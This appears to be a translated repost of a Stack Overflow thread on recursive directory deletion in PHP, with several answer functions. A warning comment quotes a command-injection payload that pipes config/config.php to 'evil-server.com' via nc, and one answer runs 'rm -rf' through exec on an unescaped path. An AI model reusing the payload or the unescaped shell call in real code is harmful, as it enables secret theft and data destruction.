PHP的递归删除目录功能?

Posted

技术标签:

【中文标题】PHP的递归删除目录功能?【英文标题】:A recursive remove directory function for PHP? 【发布时间】:2010-11-27 07:10:32 【问题描述】:

我正在使用 php 移动图像子文件夹的内容

画廊名称/图片/

到另一个文件夹。移动后,我需要删除 GalleryName 目录以及其中的所有其他内容

我知道除非目录为空,否则rmdir() 将不起作用。我花了一段时间尝试从顶部开始构建一个递归函数到scandir(),然后是unlink()(如果它是一个文件)和scandir()(如果它是一个目录),然后是rmdir()每个空目录。

到目前为止,它的工作并不完全正确,我开始思考 -- 这不是 PHP 应该能够完成的简单得离谱的功能吗? 删除目录?

那么我有什么遗漏吗?或者是否至少有一个经过验证的功能可供人们用于此操作?

任何帮助将不胜感激。

PS 我比 php.net 网站上的 cmets 更信任你们——那里有数百个功能,但我很想知道你们这里是否有人推荐其中一个。

【问题讨论】:

您是否考虑过带有 'rm -fr' 的 shell_exec() 函数?不是最好的方法,但如果你现在正在做的事情,它工作得很好。 @rogeriopvl 非常危险,但如果你必须使用 shell 转义和真实路径功能 【参考方案1】:

这个呢?

function rmdir_recursive($dirPath)
    if(!empty($dirPath) && is_dir($dirPath) )
        $dirObj= new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS); //upper dirs not included,otherwise DISASTER HAPPENS :)
        $files = new RecursiveIteratorIterator($dirObj, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $path) 
            $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
        rmdir($dirPath);
        return true;
    
    return false;

【讨论】:

+1 是最短的代码,可能是最好和最快的工作解决方案:) 不错,别忘了在foreach后面加上rmdir($dirPath),否则只会删除文件。 @Coluhuru 添加了 rmdir() 调用。谢谢! $path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname()); 应该是 $path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 以便处理链接。 似乎是最好的解决方案,因为它显然适用于任何操作系统。【参考方案2】:

这是我创建/修改的递归函数,它似乎终于可以工作了。希望里面没有什么太危险的东西。

function destroy_dir($dir)  
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file)  
        if ($file == '.' || $file == '..') continue; 
        if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file))  
            chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
            if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
        ; 
     
    return rmdir($dir); 
 

【讨论】:

这个函数很危险,应该是$file而不是$item!【参考方案3】:

如果应用程序的服务器运行linux,只需使用shell_exec()函数,并为其提供rm -R命令,如下所示:

    $realPath = realpath($dir_path);

    if($realPath === FALSE)
         throw new \Exception('Directory does not exist');
    

    shell_exec("rm ". escapeshellarg($realPath) ." -R");

解释:

仅当路径存在时递归删除指定目录,并转义路径,使其只能用作shell参数以避免shell命令注入。

如果您不使用escapeshellarg,可以通过在命令后命名要删除的目录来执行命令。

【讨论】:

根据$dir_path 的来源,您可能会引入一个非常大的安全问题。假设,我以某种方式设置了$dir_path = "-F --no-preserve-root /"; 或者只是$dir_path = "; cat config/config.php | nc evil-server.com 80 ;";,那么可能性是无穷无尽的。 @amenthes 是的,但是您可以将 $dir_path 包装在 realpath() 中以避免这种情况 可以,但上面的例子没有。就目前而言,这是一个危险的建议。在我写这篇文章的时候,这个答案已经被浏览了 32000 次。如果只有 0.1% 的人在错误的情况下逐字复制,那么就有 32 人存在严重的安全问题。【参考方案4】:

我已经修改了一个函数来处理带有点前缀的隐藏 unix 文件并使用 glob:

public static function deleteDir($path) 
    if (!is_dir($path)) 
        throw new InvalidArgumentException("$path is not a directory");
    
    if (substr($path, strlen($path) - 1, 1) != '/') 
        $path .= '/';
    
    $dotfiles = glob($path . '.*', GLOB_MARK);
    $files = glob($path . '*', GLOB_MARK);
    $files = array_merge($files, $dotfiles);
    foreach ($files as $file) 
        if (basename($file) == '.' || basename($file) == '..') 
            continue;
         else if (is_dir($file)) 
            self::deleteDir($file);
         else 
            unlink($file);
        
    
    rmdir($path);

【讨论】:

【参考方案5】:

这里有另一个线程有更多示例: How do I recursively delete a directory and its entire contents (files + sub dirs) in PHP?

如果您使用的是 Yii,那么您可以将其留给框架:

CFileHelper::removeDirectory($my_directory);

【讨论】:

【参考方案6】:

我更喜欢从 php 帮助页面 http://php.net/manual/en/function.rmdir.php#115598 派生的增强方法

 // check accidential empty, root or relative pathes
 if (!empty($path) && ...)
 
  if (PHP_OS === 'Windows')
  
    exec('rd /s /q "'.$path.'"');
  
  else
  
      exec('rm -rf "'.$path.'"');
  

else

    error_log('path not valid:$path'.var_export($path, true));

我做出决定的原因:

更少的代码 速度 保持简单

【讨论】:

【参考方案7】:
public static function rrmdir($dir)

    if (is_dir($dir)) 
        $files = scandir($dir);
        foreach ($files as $file) 
            if ($file != "." && $file != "..") 
                if (filetype($dir . "/" . $file) == "dir")
                    self::rrmdir($dir . "/" . $file);
                else
                    unlink($dir . "/" . $file);
            
        
        reset($files);
        rmdir($dir);
    

【讨论】:

以上是关于PHP的递归删除目录功能?的主要内容,如果未能解决你的问题,请参考以下文章

linux每日命令:rmdir命令

php 递归删除目录

PHP 递归删除目录中文件

php学习笔记:利用递归实现删除文件目录

PHP PHP递归删除目录

PHP之递归删除